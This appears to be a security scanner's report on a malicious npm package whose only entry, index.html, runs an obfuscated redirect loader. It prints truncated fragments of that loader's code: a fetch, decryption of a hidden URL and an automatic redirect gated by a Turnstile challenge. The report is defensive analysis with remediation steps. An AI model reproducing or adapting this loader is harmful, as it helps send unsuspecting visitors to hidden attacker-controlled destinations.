jxnbdyh8wpfhcb
This report shows the evidence for jxnbdyh8wpfhcb@1.0.0, the only known version.
AI Security Review
scanned 24d ago · by lpm-firewall-aiThe only entry point implements an obfuscated, remotely controlled redirect chain whose target is encrypted until runtime. That concealed active behavior is malicious.
Static reason
One or more suspicious static signals were detected.
Trigger
Opening or rendering index.html.
Impact
Visitors can be sent to an operator-controlled destination that is not auditable from the published package.
Mechanism
The embedded script performs a fetch request, decrypts the response into a URL, and drives an automatic redirect flow; Turnstile is loaded as part of the page.
Attack narrative
When the package entry is opened, its inline obfuscated script contacts an obscured endpoint, decrypts a returned URL, and automatically follows the resulting host flow. The destination is deliberately hidden from static inspection, while a Turnstile challenge is loaded to gate the page. This is a covert remote redirect loader rather than a normal npm package entry.
AI rationale
The only entry point implements an obfuscated, remotely controlled redirect chain whose target is encrypted until runtime. That concealed active behavior is malicious.
Evidence
index.html
Network endpoints1
challenges.cloudflare.com
Decision evidence
public snapshotAI called this Malicious at 96.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package exposes index.html as its only main entry.
- The entry contains heavily obfuscated code that sends a JSON request with fetch.
- The response is decrypted and converted into a URL, then an automatic promise flow uses the resolved host URL.
- The page also loads a Cloudflare Turnstile script, consistent with gating the redirect flow.
Evidence against
Behavioral surface
Eval
HighEntropyStringsMinifiedPossibleObfuscation
NoLicense
Source & flagged code
7 flagged · loading sourceindex.htmlView file
182}
L183: (function(_0x476d65,_0x334950){const _0x3841ac={_0x2f0286:0x403,_0x4b7e4d:0x3e8,_0x40f64f:0x383,_0x255dac:0x453,_0x4f17c9:0x3ec,_0x24e580:0x3de,_0x3b1635:0x415,_0x3b10cf:0x480,_0x5...
High
Obfuscated Payload Loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
index.htmlView on unpkg · L182•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1
High
Semantic Analysis Limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
index.htmlView on unpkg183,_0x2f5b52-_0x2ab7e4._0x52d3b5);}const _0x459f05=await _0x5cd3bc['bECiR'](fetch,_0x5cd3bc['gXcwQ'],{'method':_0x5cd3bc['wFYxY'],'headers':{'Content-Type':_0x5cd3bc[_0x4b5fb0(_0x3c3c01._0x398089,_0x3c3c01._0x4e47a0,_0x3c3c01._0x2cdd74,_0x3c3c01._0x31147a)]},'body':JSON[_0x4b5fb0(0x371,_0x3c3c01._0x325223,_0x3c3c01._0x1479e4,_0x3c3c01._0x4d2615)](_0x411e76)});function _0x16f45a(_0xb6f54b,_0x34523a,_0x25dd38,_0x3a2374){return _0x537110(_0xb6f54b-0xef,_0x34523a-_0x2d918f._0x49244c,_0xb6f54b,_0x3a237
High
Ai Review Evidence
The entry contains heavily obfuscated code that sends a JSON request with fetch.
index.htmlView on unpkg · L183183e82e,-_0x3c3c01._0xf6c8d5)]=0x80;const _0x3bea65=new TextDecoder()[_0x16f45a(-0x2c7,-0x242,-0x1e4,-_0x3c3c01._0x345bae)](await crypto[_0x16f45a(-_0x3c3c01._0x19d8f3,-0x25f,-_0x3c3c01._0x1af5ca,-_0x3c3c01._0x4126c1)][_0x4b5fb0(_0x3c3c01._0x564506,_0x3c3c01._0x48c078,_0x3c3c01._0x9a71cf,_0x3c3c01._0x22add0)](_0x4e1e3b,_0x1ce094,_0x4da2b1));return new URL(/^[a-z][a-z\d+.-]*:\/\//i['test'](_0x3bea65)?_0x3bea65:_0x5cd3bc[_0x16f45a(-_0x3c3c01._0x3cbf87,-_0x3c3c01._0x1c9715,-0x2b2,-0x268)](_0x5cd3bc[_0x4b5fb0(_0x3c3c01._0x2e8c77,_0x3c3c01._0x13f9ca,_0x3c3c01._0x2a8a2d,0x386)],_0x3bea65));}()[_0x53711
High
Ai Review Evidence
The response is decrypted and converted into a URL, then an automatic promise flow uses the resolved host URL.
index.htmlView on unpkg · L1831834,-_0x2f9e34._0x1105e3)][_0x7aea6a(_0x2f9e34._0x23b7dd,_0x2f9e34._0x5b32fa,_0x2f9e34._0x537da0,_0x2f9e34._0x41e008)](_0x19d9dd[_0x57af4c(-_0x2f9e34._0x326c17,-_0x2f9e34._0x3e7f4e,-0xfb,-_0x2f9e34._0x2067d2)]());});}const hostUrlPromise=resolveHostUrl(),checkPromise=hostUrlPromise['then'](function(_0x5632b8){const _0x5bd61d={_0x42f688:0x77,_0x3b279e:0xf4,_0x211ff7:0xce,_0x521821:0xb4,_0xa1639e:0x57,_0x287c45:0xe0,_0xded226:0x7c,_0x20b652:0x74,_0x37bb19:0xfe,_0x2f93ee:0x10,_0x50ac8e:0x4,_0x1cb654:
High
Ai Review Evidence
The response is decrypted and converted into a URL, then an automatic promise flow uses the resolved host URL.
index.htmlView on unpkg · L1839<link rel="preconnect" href="https://challenges.cloudflare.com" />
<script src="https://challenges.cloudflare.com/turnstil
High
Ai Review Evidence
The page also loads a Cloudflare Turnstile script, consistent with gating the redirect flow.
index.htmlView on unpkg · L9package.jsonView file
2"name": "jxnbdyh8wpfhcb",
"version": "1.0.0",
"main": "index.html",
"files": [
"index.ht
High
Ai Review Evidence
The package exposes index.html as its only main entry.
package.jsonView on unpkg · L2Findings
7 High1 Medium3 Low
HighObfuscated Payload Loaderindex.html
HighSemantic Analysis Limitedindex.html
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.html
HighAi Review Evidenceindex.html
HighAi Review Evidenceindex.html
HighAi Review Evidenceindex.html
MediumStructural Risk Force Deep Review
LowEval
LowHigh Entropy Strings
LowNo License
Affected versions and remediation
This report applies to jxnbdyh8wpfhcb@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing jxnbdyh8wpfhcb@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.